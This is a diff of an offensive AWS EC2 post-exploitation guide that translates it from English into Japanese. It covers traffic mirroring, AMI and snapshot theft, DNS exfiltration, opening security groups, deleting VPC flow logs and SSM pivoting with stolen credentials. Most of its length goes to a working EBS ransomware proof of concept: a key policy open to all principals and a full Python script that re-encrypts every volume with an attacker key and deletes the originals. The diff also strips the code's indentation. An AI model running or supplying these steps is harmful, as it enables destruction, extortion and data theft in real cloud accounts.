`ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **悪意のあるVPCミラー -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\ -An attacker could abuse this to capture all the traffic and obtain sensitive information from it: +VPCトラフィックミラーリングは、**VPC内のEC2インスタンスのために、受信および送信トラフィックを複製します**。これは、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、一般的にネットワーク侵入検知システム（IDS）などに送信され、分析および監視されます。\ +攻撃者はこれを悪用して、すべてのトラフィックをキャプチャし、そこから機密情報を取得することができます： -For more information check this page: +詳細については、このページを確認してください： {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Copy Running Instance - -Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**: +### 実行中のインスタンスのコピー +インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります（[EC2特権昇格のトリック](../../aws-privilege-escalation/aws-ec2-privesc.md)を確認してください）。ただし、含まれているものを確認する別の方法は、**AMIを作成し、それから新しいインスタンスを実行することです（自分のアカウントであっても）**： ```shell # List instances aws ec2 describe-images @@ -48,211 +47,191 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups " aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` +### EBSスナップショットダンプ -### EBS Snapshot dump - -**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\ -If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account: +**スナップショットはボリュームのバックアップ**であり、通常は**機密情報**を含むため、これを確認することでこの情報が明らかになるはずです。\ +**スナップショットのないボリューム**を見つけた場合は、**スナップショットを作成**して次のアクションを実行するか、単に**アカウント内のインスタンスにマウント**することができます： {{#ref}} aws-ebs-snapshot-dump.md {{#endref}} -### Data Exfiltration +### データ流出 -#### DNS Exfiltration +#### DNS流出 -Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**. +EC2をロックダウンしてトラフィックが外に出られないようにしても、**DNS経由で流出する**可能性があります。 -- **VPC Flow Logs will not record this**. -- You have no access to AWS DNS logs. -- Disable this by setting "enableDnsSupport" to false with: +- **VPCフローログはこれを記録しません**。 +- AWS DNSログへのアクセスはありません。 +- 次のコマンドで「enableDnsSupport」をfalseに設定することでこれを無効にします： - `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` +`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` -#### Exfiltration via API calls +#### APIコールによる流出 -An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs. +攻撃者は、自身が管理するアカウントのAPIエンドポイントを呼び出すことができます。Cloudtrailはこれらの呼び出しをログに記録し、攻撃者はCloudtrailログで流出したデータを見ることができます。 -### Open Security Group - -You could get further access to network services by opening ports like this: +### オープンセキュリティグループ +このようにポートを開くことで、ネットワークサービスへのさらなるアクセスを得ることができます： ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` - ### Privesc to ECS -It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data. +EC2インスタンスを実行し、ECSインスタンスを実行するために登録することが可能であり、その後ECSインスタンスのデータを盗むことができます。 For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). ### Remove VPC flow logs - ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` +### SSMポートフォワーディング -### SSM Port Forwarding - -Required permissions: +必要な権限: - `ssm:StartSession` -In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs. -One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster. +コマンド実行に加えて、SSMはトラフィックトンネリングを許可しており、これを悪用してセキュリティグループやNACLのためにネットワークアクセスがないEC2インスタンスからピボットすることができます。これが有用なシナリオの一つは、[バスティオンホスト](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)からプライベートEKSクラスターへのピボットです。 -> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html - -1. Install the SessionManagerPlugin on your machine -2. Log in to the Bastion EC2 using the following command: +> セッションを開始するには、SessionManagerPluginをインストールする必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +1. マシンにSessionManagerPluginをインストールします +2. 次のコマンドを使用してバスティオンEC2にログインします: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` - -3. Get the Bastion EC2 AWS temporary credentials with the [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script -4. Transfer the credentials to your own machine in the `$HOME/.aws/credentials` file as `[bastion-ec2]` profile -5. Log in to EKS as the Bastion EC2: - +3. [AWS EC2環境におけるSSRFの悪用](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment)スクリプトを使用してBastion EC2 AWSの一時的な資格情報を取得します +4. 資格情報を自分のマシンの`$HOME/.aws/credentials`ファイルに`[bastion-ec2]`プロファイルとして転送します +5. Bastion EC2としてEKSにログインします: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` - -6. Update the `server` field in `$HOME/.kube/config` file to point to `https://localhost` -7. Create an SSM tunnel as follows: - +6. `$HOME/.kube/config`ファイルの`server`フィールドを`https://localhost`に更新します +7. 次のようにSSMトンネルを作成します: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` - -8. The traffic from the `kubectl` tool is now forwarded throug the SSM tunnel via the Bastion EC2 and you can access the private EKS cluster from your own machine by running: - +8. `kubectl`ツールからのトラフィックは、Bastion EC2を介してSSMトンネルを通じて転送されており、次のコマンドを実行することで自分のマシンからプライベートEKSクラスターにアクセスできます: ```shell kubectl get pods --insecure-skip-tls-verify ``` +SSL接続は、`--insecure-skip-tls-verify`フラグ（またはK8s監査ツールでの同等のもの）を設定しない限り失敗します。トラフィックが安全なAWS SSMトンネルを通じてトンネリングされているため、MitM攻撃からは安全です。 -Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. - -Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application. - -### Share AMI +最後に、この技術はプライベートEKSクラスターを攻撃するためのものではありません。任意のドメインとポートを設定して、他のAWSサービスやカスタムアプリケーションにピボットできます。 +### AMIを共有する ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` +### 公共およびプライベートAMI内の機密情報を検索する -### Search sensitive information in public and private AMIs - -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data. - -### Share EBS Snapshot +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovelは、**公共またはプライベートのAmazon Machine Images (AMIs)内の機密情報を検索するために設計されたツール**です。ターゲットAMIからインスタンスを起動し、そのボリュームをマウントし、潜在的な秘密や機密データをスキャンするプロセスを自動化します。 +### EBSスナップショットを共有する ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` - ### EBS Ransomware PoC -A proof of concept similar to the Ransomware demonstration demonstrated in the S3 post-exploitation notes. KMS should be renamed to RMS for Ransomware Management Service with how easy it is to use to encrypt various AWS services using it. - -First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption' +S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのがどれほど簡単であるかを考えると、Ransomware Management Service（RMS）に名前を変更すべきです。 +まず、「攻撃者」のAWSアカウントから、KMSにカスタマーマネージドキーを作成します。この例では、AWSが私のためにキーのデータを管理しますが、現実的なシナリオでは、悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのPrincipalがキーを使用できるようにします。このキーのポリシーでは、アカウント名は「AttackSim」で、すべてのアクセスを許可するポリシールールは「Outside Encryption」と呼ばれています。 ``` { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Outside Encryption", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey", - "kms:GenerateDataKeyWithoutPlainText", - "kms:CreateGrant" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:CreateGrant", - "kms:ListGrants", - "kms:RevokeGrant" - ], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Outside Encryption", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey", +"kms:GenerateDataKeyWithoutPlainText", +"kms:CreateGrant" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:CreateGrant", +"kms:ListGrants", +"kms:RevokeGrant" +], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - -The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: +キー ポリシー ルールには、EBS ボリュームを暗号化するために使用できるようにするために、次の設定が必要です。 - `kms:CreateGrant` - `kms:Decrypt` @@ -260,222 +239,214 @@ The key policy rule needs the following enabled to allow for the ability to use - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. +公開アクセス可能なキーを使用できるようになりました。暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットであり、この攻撃は高特権 AWS アカウントの侵害を前提としています。 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +S3 ランサムウェアの例と同様に、この攻撃はアタッチされた EBS ボリュームのスナップショットを使用してコピーを作成し、「攻撃者」アカウントから公開されているキーを使用して新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用されたスナップショットを削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -This results in only encrypted EBS volumes left available in the account. +これにより、アカウントに残るのは暗号化された EBS ボリュームのみとなります。 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now. +また、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止しました。元の暗号化されていないボリュームはもうありません。 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy. - +次に、「攻撃者」アカウントのキー ポリシーに戻り、キー ポリシーから「外部暗号化」ポリシー ルールを削除します。 ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - -Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume. +少々お待ちください。新しく設定されたキー ポリシーが伝播するのを待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームの 1 つをアタッチしようとします。ボリュームをアタッチできることがわかります。 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it. +しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキー ポリシーがもはや許可していないため、キーを使用して復号化できないからです。 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day. - +これが使用される Python スクリプトです。これは「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開利用可能な AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最後にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。 ``` import boto3 import argparse from botocore.exceptions import ClientError def enumerate_ec2_instances(ec2_client): - instances = ec2_client.describe_instances() - instance_volumes = {} - for reservation in instances['Reservations']: - for instance in reservation['Instances']: - instance_id = instance['InstanceId'] - volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] - instance_volumes[instance_id] = volumes - return instance_volumes +instances = ec2_client.describe_instances() +instance_volumes = {} +for reservation in instances['Reservations']: +for instance in reservation['Instances']: +instance_id = instance['InstanceId'] +volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] +instance_volumes[instance_id] = volumes +return instance_volumes def snapshot_volumes(ec2_client, volumes): - snapshot_ids = [] - for volume_id in volumes: - snapshot = ec2_client.create_snapshot(VolumeId=volume_id) - snapshot_ids.append(snapshot['SnapshotId']) - return snapshot_ids +snapshot_ids = [] +for volume_id in volumes: +snapshot = ec2_client.create_snapshot(VolumeId=volume_id) +snapshot_ids.append(snapshot['SnapshotId']) +return snapshot_ids def wait_for_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) +for snapshot_id in snapshot_ids: +ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn): - new_volume_ids = [] - for snapshot_id in snapshot_ids: - snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] - volume_id = snapshot_info['VolumeId'] - volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] - availability_zone = volume_info['AvailabilityZone'] +new_volume_ids = [] +for snapshot_id in snapshot_ids: +snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] +volume_id = snapshot_info['VolumeId'] +volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] +availability_zone = volume_info['AvailabilityZone'] - volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, - Encrypted=True, KmsKeyId=kms_key_arn) - new_volume_ids.append(volume['VolumeId']) - return new_volume_ids +volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, +Encrypted=True, KmsKeyId=kms_key_arn) +new_volume_ids.append(volume['VolumeId']) +return new_volume_ids def stop_instances(ec2_client, instance_ids): - for instance_id in instance_ids: - try: - instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) - instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] +for instance_id in instance_ids: +try: +instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) +instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] - if instance_state == 'running': - ec2_client.stop_instances(InstanceIds=[instance_id]) - print(f"Stopping instance: {instance_id}") - ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) - print(f"Instance {instance_id} stopped.") - else: - print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") +if instance_state == 'running': +ec2_client.stop_instances(InstanceIds=[instance_id]) +print(f"Stopping instance: {instance_id}") +ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) +print(f"Instance {instance_id} stopped.") +else: +print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") - except ClientError as e: - print(f"Error stopping instance {instance_id}: {e}") +except ClientError as e: +print(f"Error stopping instance {instance_id}: {e}") def detach_and_delete_volumes(ec2_client, volumes): - for volume_id in volumes: - try: - ec2_client.detach_volume(VolumeId=volume_id) - ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) - ec2_client.delete_volume(VolumeId=volume_id) - print(f"Deleted volume: {volume_id}") - except ClientError as e: - print(f"Error detaching or deleting volume {volume_id}: {e}") +for volume_id in volumes: +try: +ec2_client.detach_volume(VolumeId=volume_id) +ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) +ec2_client.delete_volume(VolumeId=volume_id) +print(f"Deleted volume: {volume_id}") +except ClientError as e: +print(f"Error detaching or deleting volume {volume_id}: {e}") def delete_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - try: - ec2_client.delete_snapshot(SnapshotId=snapshot_id) - print(f"Deleted snapshot: {snapshot_id}") - except ClientError as e: - print(f"Error deleting snapshot {snapshot_id}: {e}") +for snapshot_id in snapshot_ids: +try: +ec2_client.delete_snapshot(SnapshotId=snapshot_id) +print(f"Deleted snapshot: {snapshot_id}") +except ClientError as e: +print(f"Error deleting snapshot {snapshot_id}: {e}") def replace_volumes(ec2_client, instance_volumes): - instance_ids = list(instance_volumes.keys()) - stop_instances(ec2_client, instance_ids) +instance_ids = list(instance_volumes.keys()) +stop_instances(ec2_client, instance_ids) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - detach_and_delete_volumes(ec2_client, all_volumes) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +detach_and_delete_volumes(ec2_client, all_volumes) def ebs_lock(access_key, secret_key, region, kms_key_arn): - ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) +ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached - replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes - delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached +replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes +delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed def parse_arguments(): - parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') - parser.add_argument('--access-key', required=True, help='AWS Access Key ID') - parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') - parser.add_argument('--region', required=True, help='AWS Region') - parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') - return parser.parse_args() +parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') +parser.add_argument('--access-key', required=True, help='AWS Access Key ID') +parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') +parser.add_argument('--region', required=True, help='AWS Region') +parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') +return parser.parse_args() def main(): - args = parse_arguments() - ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) +args = parse_arguments() +ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) - replace_volumes(ec2_client, instance_volumes) - delete_snapshots(ec2_client, snapshot_ids) +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) +replace_volumes(ec2_client, instance_volumes) +delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": - main() +main() ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git 